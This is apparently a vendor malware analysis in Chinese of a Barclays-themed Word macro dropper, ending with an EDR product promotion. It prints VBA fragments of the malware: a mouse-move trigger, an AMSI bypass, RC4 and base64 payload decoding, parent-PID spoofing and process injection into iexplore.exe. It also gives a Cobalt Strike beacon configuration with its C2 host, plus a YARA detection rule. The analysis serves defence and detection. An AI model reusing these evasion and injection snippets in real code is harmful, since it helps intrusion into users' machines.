

针对于巴克莱银行宏病毒样本分析

病毒概述

近日，天融信 EDR 安全团队捕获病毒样本。黑客为了防止静态分析，采用鼠标移动后触发运行病毒，尝试绕过 AMSI，将内容放置于组件中，读取文件内容后，使用 base64 解密，RC4 解密，读取系统进程 explorer 的 PID，并指定为父进程，建立 iexplorer.exe 进程，将进程设置为傀儡进程后，将 shellcode 注入到该进程中，连接黑客后台。

天融信 EDR 可精确检测并查杀该木马，有效阻止事件蔓延。

病毒分析

收到样本，打开后发现宏内容

```
A: word/vbaProject.bin
A1:      554 'PROJECT'
A2:      65 'PROJECTwm'
A3: M    39540 'VBA/Module1'
A4: M    3733 'VBA/ThisDocument'
A5:      11357 'VBA/_VBA_PROJECT'
A6:      5645 'VBA/___SRP_0'
A7:      1428 'VBA/___SRP_1'
A8:      584 'VBA/___SRP_2'
A9:      217 'VBA/___SRP_3'
A10:     5154 'VBA/___SRP_4'
A11:     2041 'VBA/___SRP_5'
A12:      812 'VBA/dir'
B: word/activeX/activeX1.bin
B1:      112 '\x01CompObj'
B2:     25936 'contents'
C: word/activeX/activeX2.bin
C1:      116 '\x01CompObj'
C2:     281340 'contents'
```

发现宏文件做了加密，绕过加密后，找到宏的主函数，在鼠标移动的时候，运行 X32_office 函数

```
Private Sub Label1_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal x As Single, ByVal y As Single)
    Module1.x32_office
End Sub
```

尝试绕过 AMSI 如果成功绕过后，执行 CallMe 函数

```
Dim TrvOffset As Integer

Dim InstructionInStringOffset As Integer
Dim Success As Integer

ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0

LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiVacInitialize")
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
```

读取组件内容，做 base64 解密，加载内置的秘钥 utbyyggruw 做 rc4 解密

```
Sub CallMe()
    System.Cursor = wdCursorWait
    Dim sNull As String
    Dim lRetVal As Long

    Dim b, se
    Dim sStr As String
    Dim s() As Byte

    b = ThisDocument.TextBox1.Text

    se = DecodeBase64(b)
    sStr = RC4(se, "utbyyggruw")
```

```
Dim kLen, x, y, i, j, temp
Dim s(256), k(256)
For a = 0 To 255
    s(a) = a
    k(a) = 0
Next
kLen = Len(strKey)
For i = 0 To 255
    j = (j + s(i) + Asc(Mid(strKey, (i Mod kLen) + 1, 1))) Mod 256
    k(i) = j
    temp = s(i)
    s(i) = s(j)
    s(j) = temp
Next
x = 0
y = 0
For i = 1 To LenB(byteMessage)
    x = (x + 1) Mod 256
    y = (y + s(x)) Mod 256
    temp = s(x)
    s(x) = s(y)
    s(y) = temp
    RC4 = RC4 & Chr(((s((s(x) + s(y)) Mod 256) Xor AscB(MidB(byteMessage, i, 1))))
Next
```

读取 explorer 的 PID，并指定为病毒的父进程，为了后续方便分析，将 shellcode 转储到桌面

```
Dim si As STARTUPINFOEX
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim parentHandle As LongPtr
Dim originalCli As String

pid = getPidByName("explorer.exe")
parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

Open "C:\Users\sui\Desktop\asdf.txt" For Append As #1
Print #1, sStr
Close #1
```

建立 iexplorer.exe 的进程，使用傀儡进程技术，将病毒代码进行注入正常的系统进程中

```
Dim processPath As String
processPath = "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
result = CreateProcess(sNull, processPath, ByVal 0%, ByVal 0%, 1%, &H0014, ByVal 0%, sNull, VarPtr(si), pi)

Dim base_addr As Long
base_addr = VirtualAllocEx(pi.hProcess, 0, sSize, MEM_COMMIT + MEM_RESERVE, PAGE_EXECUTE_READWRITE)

If base_addr = 0 Then
    Exit Sub
End If

Dim a() As String
a = Split(sByte)
Dim myByte As Long
For Offset = LBound(a) To UBound(a) - 1
    myByte = "&H" & a(Offset)

    result = WriteProcessMemory(pi.hProcess, base_addr + Offset, myByte, 1, ByVal 0%)
Next Offset
```

病毒运行成功后，弹框提示解密失败 需要去联系黑客。



查看之前保存的 shellcode

0000h:	3F 3F 3F 3F	3F 3F 3F 3F	3F 4D 5A 52	45 3F 00 00	????????MZRE?..
0010h:	00 00 5B 3F	3F 55 3F 3F	3F 3F 45 7D	00 00 FF 3F	..[??U????E}...ý?
0020h:	68 3F 3F 3F	56 68 04 00	00 00 57 FF	3F 00 00 00	h???Vh....Wÿ?...
0030h:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0040h:	00 00 00 00	00 00 01 00	00 2D 2A 1C	3F 50 50 3F-*.?PP?
0050h:	48 0C 5D 3F	3F 72 33 27	5C 48 70 3F	5C 41 34 6D	H.]??r3'\Hp?\A4m
0060h:	5D 3F 44 07	74 4C 45 36	05 3F 3F 3E	3F 3F 3E 64]?D.tLE6.??>??>d
0070h:	3F 25 18 3F	03 51 3F 0E	53 15 61 3F	3F 4C 48 20	?%.?.Q?.S.a??LH
0080h:	3F 4C 3F 23	3F 77 3F 40	79 2F 74 3F	3F 3F 3F 2C	?L?#?w?@y/t????,
0090h:	4B 3F 35 3F	65 75 3F 25	2B 3F 50 3F	3F 3F 3F 3F	K?5?eu?%+?P?????
00A0h:	3F 3F 31 69	39 75 3F 3F	0E 3F 12 3C	49 3F 3F 3F	??li9u???.?.<I???
00B0h:	4C 3B 3F 2D	67 07 3F 0F	6D 05 3F 2F	34 4D 1B 3F	L;?-g.?.m.?/4M.?
00C0h:	37 36 3F 3F	3F 59 47 3F	2C 3F 3F 46	3F 47 60 3F	76???YG?,??F?G`?
00D0h:	3B 3F 50 3F	3F 3F 3F 73	3F 3F 3F 10	3F 3F 3F 48	;?P????s???????H
00E0h:	3F 3F 1C 20	3F 3F 3F 2B	FF 3F 7C 3F	3F 3F 23 3F	?? . ???+ÿ? ???#?
00F0h:	53 2E 48 5E	72 3F 3F 3F	3F 2D 1D 3D	3F 57 3F 7A	S.H^r????-.=?W?z
0100h:	3F 5A 3F 41	3F 22 02 3F	3F 4E 4F 00	00 4C 01 04	?Z?A?"..??NO..L..
0110h:	00 39 3F 3F	3F 00 00 00	00 3F FF FF	FF 3F 00 03	.9222....?üüü?

运行解密 cs shellcode 的脚本，拿到连接黑客后台的地址及端口号

```
BeaconType - HTTPS
Port - 273
SleepTime - 266513
MaxGetSize - 1398588
Jitter - 37
MaxDNS - Not Found
C2Server - security-and-privacy.com./wp-content/themes/s
security-and-privacy/images/footer-small.svg
UserAgent - Not Found
HttpPostUri - /request/v1/consentreceipts
Malleable_C2_Instructions - Remove 34 bytes from the end
Remove 273 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key
HttpGet_Metadata - Not Found
HttpPost_Metadata - Not Found
SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\gpupdate.exe
Spawnto_x64 - %windir%\sysnative\gpupdate.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 423698193
bStageCleanup - True
bCFGCaution - False
KillDate - 2021-10-04
bProcInject_StartRWX - True
bProcInject_UseRWX - False
bProcInject_MinAllocSize - 17500
ProcInject_PrependedAppend_x86 - b'\x11\x11\x11'
Empty
ProcInject_PrependedAppend_x64 - b'\x11\x11\x11'
Empty
ProcInject_Execute - Not Found
ProcInject_AllocationMethod - NtMapViewOfSection
bUsesCookies - True
HostHeader - Not Found
```

yara 规则

```
rule barclays_doc_macro
{
  meta:
    description= " doc file macro "
  strings:
    $doc = { 08 02 5B 43 6F 6E 74 65 6E 74 5F 54 79 70 65 73 5D 2E 78
6D 6C 20 A2 04 }
    $vbacode = { 00 77 6F 72 64 2F 76 62 61 50 72 6F 6A 65 63 74 2E 62
69 6E }
    $textbox = { 77 6F 72 64 2F 61 63 74 69 76 65 58 2F 61 63 74 69 76 65
58 32 2E 62 69 }condition:
    filesize < 8MB and all of them
}
```

防护建议

针对病毒，可通过以下三种方式进行防御或查杀：

1. 下载安装天融信 EDR 防御软件并进行全盘扫描查杀，即可清除该木马。
2. 更改系统及应用使用的默认密码，配置高强度密码认证，并定期更新密码。
3. 及时修复系统及应用漏洞。

天融信 EDR 获取方式

- 天融信 EDR 企业版试用：可通过天融信各地分公司获取（查询网址：<http://www.topsec.com.cn/contact/>）
- 天融信 EDR 单机版下载地址：<http://edr.topsec.com.cn>



天融信终端威胁防御系统

本地下载 企业版VIP套装

10.5MB | 最新版本: 1.0.10.5 | 2020-06-15更新
支持: WinXP/Vista/7/8/8.1/10

简约不简单 严谨多层次
反病毒+主动防御+智能拦截
以创新的杀毒技术 为终端保驾护航

引擎

天融信智能防御引擎，是用户终端的强大保障。

天融信终端威胁防御系统反病毒引擎是天融信多年经验累积的结晶，是国内少有自主研发的新一代反病毒引擎。

多项前沿技术 轻巧高效强悍 引擎动态增强

